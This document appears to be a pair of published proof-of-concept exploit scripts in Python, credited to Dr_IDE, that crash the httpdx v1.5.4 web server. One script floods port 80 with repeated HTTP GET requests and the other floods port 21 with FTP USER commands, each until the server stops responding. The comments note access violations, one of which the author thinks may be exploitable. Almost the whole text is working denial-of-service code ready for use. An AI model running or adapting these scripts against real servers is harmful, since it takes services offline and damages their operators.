#!/usr/bin/env python
 
###########################################################################
#
# Title:    httpdx v1.5.4 Remote HTTP Server DoS (0day)
# By:       Dr_IDE
# Tested:   XPSP3
# Download: https://httpdx.sourceforge.net
# Note:     Server will totally crash if only running the EXE
# Note:     Get a "ffs what happened?" message if running via BAT
#
############################################################################
#
# Debugging Notes: This may not be exploitable as it dumps on a read operation.
# Upon crash throws: Access violation when reading [00001238]
#
############################################################################
 
import socket, sys
 
payload = ("GET / HTTP/1.1\r\n\r\n");
x=1;
 
try:
    while (x < 2048):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print ("[*] Connecting to httpdx server.");
        s.connect((sys.argv[1], 80));
        print ("\n[*] Sending command.\n");
        s.send(payload);
        s.close();
        x = x+1;
 
except:
    print ("[*] Success! We crashed the server in %d attempts." % x);
    print ("[i] [pocoftheday.blogspot.com]");
 
 
=====================================================================================
 
#!/usr/bin/env python
 
###########################################################################
#
# Title:    httpdx v1.5.4 Remote FTP Server DoS (0day)
# By:       Dr_IDE
# Tested:   XPSP3
# Download: https://httpdx.sourceforge.net
# Note:     Server will totally crash if only running the EXE
# Note:     Get a "ffs what happened?" message if running via BAT
#
############################################################################
#
# Debugging Notes: This may be exploitable as it dumps on a write operation.
# Upon crash throws: Access violation when writing to [00230000]
#
############################################################################
 
import socket, sys
 
payload = ("USER anonymous\r\n\r\n");
x=1;
 
try:
    while (x < 2048):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print ("[*] Connecting to httpdx server.");
        s.connect((sys.argv[1], 21));
        print ("\n[*] Sending command.\n");
        s.send(payload);
        s.close();
        x = x+1;
 
except:
    print ("[*] Success! We crashed the server in %d attempts." % x);
    print ("[i] [pocoftheday.blogspot.com]");